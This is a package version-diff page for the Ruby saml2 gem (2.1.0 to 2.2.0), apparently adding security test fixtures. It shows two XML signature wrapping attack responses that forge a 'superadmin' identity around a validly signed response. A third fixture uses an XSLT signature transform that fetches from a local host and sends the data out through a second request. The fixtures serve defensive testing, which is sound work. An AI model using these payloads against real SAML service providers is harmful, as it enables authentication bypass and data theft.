saml2 2.1.0 → 2.2.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/saml2/assertion.rb +10 -0
- data/lib/saml2/attribute.rb +32 -0
- data/lib/saml2/attribute/x500.rb +11 -2
- data/lib/saml2/base.rb +54 -0
- data/lib/saml2/conditions.rb +42 -27
- data/lib/saml2/entity.rb +23 -3
- data/lib/saml2/key.rb +2 -0
- data/lib/saml2/message.rb +15 -2
- data/lib/saml2/response.rb +150 -2
- data/lib/saml2/role.rb +11 -0
- data/lib/saml2/signable.rb +36 -8
- data/lib/saml2/version.rb +1 -1
- data/spec/fixtures/certificate.pem +0 -1
- data/spec/fixtures/external-uri-reference-response.xml +48 -0
- data/spec/fixtures/othercertificate.pem +25 -0
- data/spec/fixtures/response_tampered_certificate.xml +25 -0
- data/spec/fixtures/response_tampered_signature.xml +46 -0
- data/spec/fixtures/response_with_encrypted_assertion.xml +58 -0
- data/spec/fixtures/test3-response.xml +9 -0
- data/spec/fixtures/test6-response.xml +10 -0
- data/spec/fixtures/test7-response.xml +10 -0
- data/spec/fixtures/xml_missigned_assertion.xml +84 -0
- data/spec/fixtures/xml_signature_wrapping_attack_duplicate_ids.xml +11 -0
- data/spec/fixtures/xml_signature_wrapping_attack_response_attributes.xml +45 -0
- data/spec/fixtures/xml_signature_wrapping_attack_response_nameid.xml +44 -0
- data/spec/fixtures/xslt-transform-response.xml +57 -0
- data/spec/lib/attribute_spec.rb +17 -0
- data/spec/lib/conditions_spec.rb +2 -2
- data/spec/lib/response_spec.rb +210 -1
- metadata +28 -2
@@ -0,0 +1,45 @@
|
|
1
|
+
<!-- = = = = = = = = = = = = = = -->
|
2
|
+
<!-- unsigned malicious envelope -->
|
3
|
+
<!-- = = = = = = = = = = = = = = -->
|
4
|
+
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="attackergenerated1" Version="2.0" IssueInstant="2012-08-03T20:07:15Z" Destination="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer>
|
5
|
+
<samlp:Status>
|
6
|
+
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
|
7
|
+
<samlp:StatusDetail>
|
8
|
+
<!-- = = = = = = = = = = = -->
|
9
|
+
<!-- valid signed response -->
|
10
|
+
<!-- = = = = = = = = = = = -->
|
11
|
+
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_32f10e8e465fcef72368e220faeb81db4c72f0c687" Version="2.0" IssueInstant="2012-08-03T20:07:15Z" Destination="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
12
|
+
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
13
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
14
|
+
<ds:Reference URI="#_32f10e8e465fcef72368e220faeb81db4c72f0c687"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>S6Ne11nB7g1OyQAGYrFEOnu5QAQ=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mgqZUiA3matrj6Zy4Dl+1ghsgoOl8wPH2mrFM9PAqrYB0skuJUZhYUkCegEbEX9WROEhoZ2bgwJQqeUPyX7leMPe7SSdUDNKf9kiuvpcCYZs1lFSEd51Ec8f+HvejmHUJAU+JIRWpp1VkYUZATihwjGLok3NGi/ygoajNh42vZ4=</ds:SignatureValue>
|
15
|
+
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICgTCCAeoCCQCbOlrWDdX7FTANBgkqhkiG9w0BAQUFADCBhDELMAkGA1UEBhMCTk8xGDAWBgNVBAgTD0FuZHJlYXMgU29sYmVyZzEMMAoGA1UEBxMDRm9vMRAwDgYDVQQKEwdVTklORVRUMRgwFgYDVQQDEw9mZWlkZS5lcmxhbmcubm8xITAfBgkqhkiG9w0BCQEWEmFuZHJlYXNAdW5pbmV0dC5ubzAeFw0wNzA2MTUxMjAxMzVaFw0wNzA4MTQxMjAxMzVaMIGEMQswCQYDVQQGEwJOTzEYMBYGA1UECBMPQW5kcmVhcyBTb2xiZXJnMQwwCgYDVQQHEwNGb28xEDAOBgNVBAoTB1VOSU5FVFQxGDAWBgNVBAMTD2ZlaWRlLmVybGFuZy5ubzEhMB8GCSqGSIb3DQEJARYSYW5kcmVhc0B1bmluZXR0Lm5vMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDivbhR7P516x/S3BqKxupQe0LONoliupiBOesCO3SHbDrl3+q9IbfnfmE04rNuMcPsIxB161TdDpIesLCn7c8aPHISKOtPlAeTZSnb8QAu7aRjZq3+PbrP5uW3TcfCGPtKTytHOge/OlJbo078dVhXQ14d1EDwXJW1rRXuUt4C8QIDAQABMA0GCSqGSIb3DQEBBQUAA4GBACDVfp86HObqY+e8BUoWQ9+VMQx1ASDohBjwOsg2WykUqRXF+dLfcUH9dWR63CtZIKFDbStNomPnQz7nbK+onygwBspVEbnHuUihZq3ZUdmumQqCw4Uvs/1Uvq3orOo/WJVhTyvLgFVK2QarQ4/67OZfHd7R+POBXhophSMv1ZOo</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_6212b7e8c069d0f948c8648991d357addc4095a82f" Version="2.0" IssueInstant="2012-08-03T20:07:15Z"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
16
|
+
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
17
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
18
|
+
<ds:Reference URI="#_6212b7e8c069d0f948c8648991d357addc4095a82f"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>kaZN1+moS328pr2zn8SKUML1ElI=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>1kUEkG33ZGQMf/1H1gzqBOhT5N2I35vM04Jp67xVjnZXF54AqPq1ZaM+Wjgx++AjEbL7ksaYuM3JSyK7GlZ77VmzpLsMqn4eM00K7Y+CeZy5LB24vcngXPxBk6BdUYkVk0vOsUfAAZ+mRX/zzBW7Z4C7qbjNGhAAJgi13JoBWpU=</ds:SignatureValue>
|
19
|
+
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICgTCCAeoCCQCbOlrWDdX7FTANBgkqhkiG9w0BAQUFADCBhDELMAkGA1UEBhMCTk8xGDAWBgNVBAgTD0FuZHJlYXMgU29sYmVyZzEMMAoGA1UEBxMDRm9vMRAwDgYDVQQKEwdVTklORVRUMRgwFgYDVQQDEw9mZWlkZS5lcmxhbmcubm8xITAfBgkqhkiG9w0BCQEWEmFuZHJlYXNAdW5pbmV0dC5ubzAeFw0wNzA2MTUxMjAxMzVaFw0wNzA4MTQxMjAxMzVaMIGEMQswCQYDVQQGEwJOTzEYMBYGA1UECBMPQW5kcmVhcyBTb2xiZXJnMQwwCgYDVQQHEwNGb28xEDAOBgNVBAoTB1VOSU5FVFQxGDAWBgNVBAMTD2ZlaWRlLmVybGFuZy5ubzEhMB8GCSqGSIb3DQEJARYSYW5kcmVhc0B1bmluZXR0Lm5vMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDivbhR7P516x/S3BqKxupQe0LONoliupiBOesCO3SHbDrl3+q9IbfnfmE04rNuMcPsIxB161TdDpIesLCn7c8aPHISKOtPlAeTZSnb8QAu7aRjZq3+PbrP5uW3TcfCGPtKTytHOge/OlJbo078dVhXQ14d1EDwXJW1rRXuUt4C8QIDAQABMA0GCSqGSIb3DQEBBQUAA4GBACDVfp86HObqY+e8BUoWQ9+VMQx1ASDohBjwOsg2WykUqRXF+dLfcUH9dWR63CtZIKFDbStNomPnQz7nbK+onygwBspVEbnHuUihZq3ZUdmumQqCw4Uvs/1Uvq3orOo/WJVhTyvLgFVK2QarQ4/67OZfHd7R+POBXhophSMv1ZOo</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID SPNameQualifier="http://shard1.localdomain/saml2" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_3b3e7714b72e29dc4290321a075fa0b73333a4f25f</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2012-08-03T20:12:15Z" Recipient="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2012-08-03T20:06:45Z" NotOnOrAfter="2012-08-03T20:12:15Z"><saml:AudienceRestriction><saml:Audience>http://shard1.localdomain/saml2</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2012-08-03T20:07:15Z" SessionNotOnOrAfter="2012-08-04T04:07:15Z" SessionIndex="_02f26af30a37afb92081f3a73728810193efd7fa6e"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue xsi:type="xs:string">member</saml:AttributeValue></saml:Attribute><saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue xsi:type="xs:string">student@example.edu</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
|
20
|
+
</samlp:StatusDetail>
|
21
|
+
</samlp:Status>
|
22
|
+
|
23
|
+
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="attackergenerated2" Version="2.0" IssueInstant="2012-08-03T20:07:15Z">
|
24
|
+
<saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer>
|
25
|
+
<saml:AuthnStatement AuthnInstant="2012-08-03T20:07:15Z" SessionNotOnOrAfter="2012-08-04T04:07:15Z" SessionIndex="_02f26af30a37afb92081f3a73728810193efd7fa6e">
|
26
|
+
<saml:AuthnContext>
|
27
|
+
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
|
28
|
+
</saml:AuthnContext>
|
29
|
+
</saml:AuthnStatement>
|
30
|
+
<saml:Subject>
|
31
|
+
<saml:NameID SPNameQualifier="http://shard1.localdomain/saml2" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">superadmin</saml:NameID>
|
32
|
+
</saml:Subject>
|
33
|
+
<!-- = = = = = = = = = = = = = = = -->
|
34
|
+
<!-- last attributes will win -->
|
35
|
+
<!-- = = = = = = = = = = = = = = = -->
|
36
|
+
<saml:AttributeStatement>
|
37
|
+
<saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
38
|
+
<saml:AttributeValue xsi:type="xs:string">superadmin</saml:AttributeValue></saml:Attribute>
|
39
|
+
<saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
40
|
+
<saml:AttributeValue xsi:type="xs:string">superadmin@example.edu</saml:AttributeValue>
|
41
|
+
</saml:Attribute>
|
42
|
+
</saml:AttributeStatement>
|
43
|
+
</saml:Assertion>
|
44
|
+
</samlp:Response>
|
45
|
+
|
@@ -0,0 +1,44 @@
|
|
1
|
+
<!-- = = = = = = = = = = = = = = -->
|
2
|
+
<!-- unsigned malicious envelope -->
|
3
|
+
<!-- = = = = = = = = = = = = = = -->
|
4
|
+
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="attackergenerated1" Version="2.0" IssueInstant="2012-08-03T20:07:15Z" Destination="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer>
|
5
|
+
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="attackergenerated2" Version="2.0" IssueInstant="2012-08-03T20:07:15Z">
|
6
|
+
<saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer>
|
7
|
+
<saml:AuthnStatement AuthnInstant="2012-08-03T20:07:15Z" SessionNotOnOrAfter="2012-08-04T04:07:15Z" SessionIndex="_02f26af30a37afb92081f3a73728810193efd7fa6e">
|
8
|
+
<saml:AuthnContext>
|
9
|
+
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
|
10
|
+
</saml:AuthnContext>
|
11
|
+
</saml:AuthnStatement>
|
12
|
+
<!-- = = = = = = = = = = = = = = = -->
|
13
|
+
<!-- first nameid will win -->
|
14
|
+
<!-- = = = = = = = = = = = = = = = -->
|
15
|
+
<saml:Subject>
|
16
|
+
<saml:NameID SPNameQualifier="http://shard1.localdomain/saml2" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">superadmin</saml:NameID>
|
17
|
+
</saml:Subject>
|
18
|
+
<saml:AttributeStatement>
|
19
|
+
<saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
20
|
+
<saml:AttributeValue xsi:type="xs:string">superadmin</saml:AttributeValue></saml:Attribute>
|
21
|
+
<saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
22
|
+
<saml:AttributeValue xsi:type="xs:string">superadmin@example.edu</saml:AttributeValue>
|
23
|
+
</saml:Attribute>
|
24
|
+
</saml:AttributeStatement>
|
25
|
+
</saml:Assertion>
|
26
|
+
<samlp:Status>
|
27
|
+
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
|
28
|
+
<samlp:StatusDetail>
|
29
|
+
<!-- = = = = = = = = = = = -->
|
30
|
+
<!-- valid signed response -->
|
31
|
+
<!-- = = = = = = = = = = = -->
|
32
|
+
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_32f10e8e465fcef72368e220faeb81db4c72f0c687" Version="2.0" IssueInstant="2012-08-03T20:07:15Z" Destination="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
33
|
+
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
34
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
35
|
+
<ds:Reference URI="#_32f10e8e465fcef72368e220faeb81db4c72f0c687"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>S6Ne11nB7g1OyQAGYrFEOnu5QAQ=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mgqZUiA3matrj6Zy4Dl+1ghsgoOl8wPH2mrFM9PAqrYB0skuJUZhYUkCegEbEX9WROEhoZ2bgwJQqeUPyX7leMPe7SSdUDNKf9kiuvpcCYZs1lFSEd51Ec8f+HvejmHUJAU+JIRWpp1VkYUZATihwjGLok3NGi/ygoajNh42vZ4=</ds:SignatureValue>
|
36
|
+
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICgTCCAeoCCQCbOlrWDdX7FTANBgkqhkiG9w0BAQUFADCBhDELMAkGA1UEBhMCTk8xGDAWBgNVBAgTD0FuZHJlYXMgU29sYmVyZzEMMAoGA1UEBxMDRm9vMRAwDgYDVQQKEwdVTklORVRUMRgwFgYDVQQDEw9mZWlkZS5lcmxhbmcubm8xITAfBgkqhkiG9w0BCQEWEmFuZHJlYXNAdW5pbmV0dC5ubzAeFw0wNzA2MTUxMjAxMzVaFw0wNzA4MTQxMjAxMzVaMIGEMQswCQYDVQQGEwJOTzEYMBYGA1UECBMPQW5kcmVhcyBTb2xiZXJnMQwwCgYDVQQHEwNGb28xEDAOBgNVBAoTB1VOSU5FVFQxGDAWBgNVBAMTD2ZlaWRlLmVybGFuZy5ubzEhMB8GCSqGSIb3DQEJARYSYW5kcmVhc0B1bmluZXR0Lm5vMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDivbhR7P516x/S3BqKxupQe0LONoliupiBOesCO3SHbDrl3+q9IbfnfmE04rNuMcPsIxB161TdDpIesLCn7c8aPHISKOtPlAeTZSnb8QAu7aRjZq3+PbrP5uW3TcfCGPtKTytHOge/OlJbo078dVhXQ14d1EDwXJW1rRXuUt4C8QIDAQABMA0GCSqGSIb3DQEBBQUAA4GBACDVfp86HObqY+e8BUoWQ9+VMQx1ASDohBjwOsg2WykUqRXF+dLfcUH9dWR63CtZIKFDbStNomPnQz7nbK+onygwBspVEbnHuUihZq3ZUdmumQqCw4Uvs/1Uvq3orOo/WJVhTyvLgFVK2QarQ4/67OZfHd7R+POBXhophSMv1ZOo</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_6212b7e8c069d0f948c8648991d357addc4095a82f" Version="2.0" IssueInstant="2012-08-03T20:07:15Z"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
37
|
+
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
38
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
39
|
+
<ds:Reference URI="#_6212b7e8c069d0f948c8648991d357addc4095a82f"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>kaZN1+moS328pr2zn8SKUML1ElI=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>1kUEkG33ZGQMf/1H1gzqBOhT5N2I35vM04Jp67xVjnZXF54AqPq1ZaM+Wjgx++AjEbL7ksaYuM3JSyK7GlZ77VmzpLsMqn4eM00K7Y+CeZy5LB24vcngXPxBk6BdUYkVk0vOsUfAAZ+mRX/zzBW7Z4C7qbjNGhAAJgi13JoBWpU=</ds:SignatureValue>
|
40
|
+
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICgTCCAeoCCQCbOlrWDdX7FTANBgkqhkiG9w0BAQUFADCBhDELMAkGA1UEBhMCTk8xGDAWBgNVBAgTD0FuZHJlYXMgU29sYmVyZzEMMAoGA1UEBxMDRm9vMRAwDgYDVQQKEwdVTklORVRUMRgwFgYDVQQDEw9mZWlkZS5lcmxhbmcubm8xITAfBgkqhkiG9w0BCQEWEmFuZHJlYXNAdW5pbmV0dC5ubzAeFw0wNzA2MTUxMjAxMzVaFw0wNzA4MTQxMjAxMzVaMIGEMQswCQYDVQQGEwJOTzEYMBYGA1UECBMPQW5kcmVhcyBTb2xiZXJnMQwwCgYDVQQHEwNGb28xEDAOBgNVBAoTB1VOSU5FVFQxGDAWBgNVBAMTD2ZlaWRlLmVybGFuZy5ubzEhMB8GCSqGSIb3DQEJARYSYW5kcmVhc0B1bmluZXR0Lm5vMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDivbhR7P516x/S3BqKxupQe0LONoliupiBOesCO3SHbDrl3+q9IbfnfmE04rNuMcPsIxB161TdDpIesLCn7c8aPHISKOtPlAeTZSnb8QAu7aRjZq3+PbrP5uW3TcfCGPtKTytHOge/OlJbo078dVhXQ14d1EDwXJW1rRXuUt4C8QIDAQABMA0GCSqGSIb3DQEBBQUAA4GBACDVfp86HObqY+e8BUoWQ9+VMQx1ASDohBjwOsg2WykUqRXF+dLfcUH9dWR63CtZIKFDbStNomPnQz7nbK+onygwBspVEbnHuUihZq3ZUdmumQqCw4Uvs/1Uvq3orOo/WJVhTyvLgFVK2QarQ4/67OZfHd7R+POBXhophSMv1ZOo</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID SPNameQualifier="http://shard1.localdomain/saml2" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_3b3e7714b72e29dc4290321a075fa0b73333a4f25f</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2012-08-03T20:12:15Z" Recipient="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2012-08-03T20:06:45Z" NotOnOrAfter="2012-08-03T20:12:15Z"><saml:AudienceRestriction><saml:Audience>http://shard1.localdomain/saml2</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2012-08-03T20:07:15Z" SessionNotOnOrAfter="2012-08-04T04:07:15Z" SessionIndex="_02f26af30a37afb92081f3a73728810193efd7fa6e"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue xsi:type="xs:string">member</saml:AttributeValue></saml:Attribute><saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue xsi:type="xs:string">student@example.edu</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
|
41
|
+
</samlp:StatusDetail>
|
42
|
+
</samlp:Status>
|
43
|
+
</samlp:Response>
|
44
|
+
|
@@ -0,0 +1,57 @@
|
|
1
|
+
<?xml version="1.0"?>
|
2
|
+
<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="Rbd1ca4d500b80130b5178ada0d47c52294f418ad" Version="2.0" IssueInstant="2014-06-03T12:43:56Z" Destination="">
|
3
|
+
<saml:Issuer>https://app.example.com/saml/</saml:Issuer>
|
4
|
+
<samlp:Status>
|
5
|
+
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
|
6
|
+
</samlp:Status>
|
7
|
+
<saml:Assertion xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfx9cb71b16-ad32-1735-fdcc-7a68b98ba9be" IssueInstant="2014-06-03T12:43:56Z">
|
8
|
+
<saml:Issuer>https://app.example.com/saml/</saml:Issuer>
|
9
|
+
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
10
|
+
<ds:SignedInfo>
|
11
|
+
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
12
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
13
|
+
<ds:Reference URI="#pfx9cb71b16-ad32-1735-fdcc-7a68b98ba9be">
|
14
|
+
<ds:Transforms>
|
15
|
+
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
|
16
|
+
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
17
|
+
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
|
18
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
19
|
+
<xsl:template match="/">
|
20
|
+
<xsl:variable name="exploit" select="document('http://127.0.0.1:2345/exploit')" />
|
21
|
+
<xsl:variable name="exploitUrl" select="concat('http://127.0.0.1:2345/here',substring($exploit, 1, 5))" />
|
22
|
+
<xsl:value-of select="document($exploitUrl)"/>
|
23
|
+
</xsl:template>
|
24
|
+
</xsl:stylesheet>
|
25
|
+
</ds:Transform>
|
26
|
+
</ds:Transforms>
|
27
|
+
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
|
28
|
+
<ds:DigestValue>Q40aDbTJ0gA35qMt9bk6RLDaHM8=</ds:DigestValue>
|
29
|
+
</ds:Reference>
|
30
|
+
</ds:SignedInfo>
|
31
|
+
<ds:SignatureValue>evqiVwhRAqUlLxQrzmmKQ/TNVseqj4k0dO8CghneerLLW5mHqOPLQrAFyBgr8BK5
|
32
|
+
gqmnFnm8a6rjSuqMj8xCTVGq4jXwz38WXx8iYCP1pQJASzWPFq9HicHoGVo9UT7a
|
33
|
+
xyrTA51M+HswpueFnwE8anx0llBDNisxjZMX7ixdwc8=</ds:SignatureValue>
|
34
|
+
<ds:KeyInfo>
|
35
|
+
<ds:X509Data>
|
36
|
+
<ds:X509Certificate>MIIECDCCAvCgAwIBAgIUH1Nywt/+Cklv5RvuPPer8PNG7ggwDQYJKoZIhvcNAQEFBQAwUzELMAkGA1UEBhMCVVMxDDAKBgNVBAoMA3J1YjEVMBMGA1UECwwMT25lTG9naW4gSWRQMR8wHQYDVQQDDBZPbmVMb2dpbiBBY2NvdW50IDM1Mzc2MB4XDTEzMTEyNjE2MjgwN1oXDTE4MTEyNzE2MjgwN1owUzELMAkGA1UEBhMCVVMxDDAKBgNVBAoMA3J1YjEVMBMGA1UECwwMT25lTG9naW4gSWRQMR8wHQYDVQQDDBZPbmVMb2dpbiBBY2NvdW50IDM1Mzc2MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxINN52pg/eD9k4REEKq+1VQ+f7RxYVm0D2iTpJjFhBCi8jKhwMgQGqt/4x3iTx6i0swgi0xZIwMdsBlAB/83AFuXSK6hmZCY08zyM7x+wvj3EWwwC6fokvZvbb0PuIg7d4xgkMiSpDsCMg9XiDJytp8Obokmc0EPc0xEWdwIIwhPpy4TAdswcD5aTXnBn9fB/KRdmVR7VvnqCWqdTmOd3RxvvpcnLOHsycumGLVWukBNxHExALU6yTGMesJbg0fPhoN+MHxNYfe8NWBKFVEjdcvfVC9Ivemzj2xGDU1xMZ+v8uqt0pVV1LOmNcs5CvpMhZFSQFcu8dk77AAY2MJthQIDAQABo4HTMIHQMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFK2I7+srPutX2VzEnIwGmtCofTuhMIGQBgNVHSMEgYgwgYWAFK2I7+srPutX2VzEnIwGmtCofTuhoVekVTBTMQswCQYDVQQGEwJVUzEMMAoGA1UECgwDcnViMRUwEwYDVQQLDAxPbmVMb2dpbiBJZFAxHzAdBgNVBAMMFk9uZUxvZ2luIEFjY291bnQgMzUzNzaCFB9TcsLf/gpJb+Ub7jz3q/DzRu4IMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQUFAAOCAQEAnfgwE60ClcQ80b+GaFtEImzWlW7jIxpljSeRJ9Rbd6SSRxSck0Xwz17jtCnOaBeQ2igGyQfJA5R2OymaG9RqehGFdVEFbPC4OFwO1byUoGII9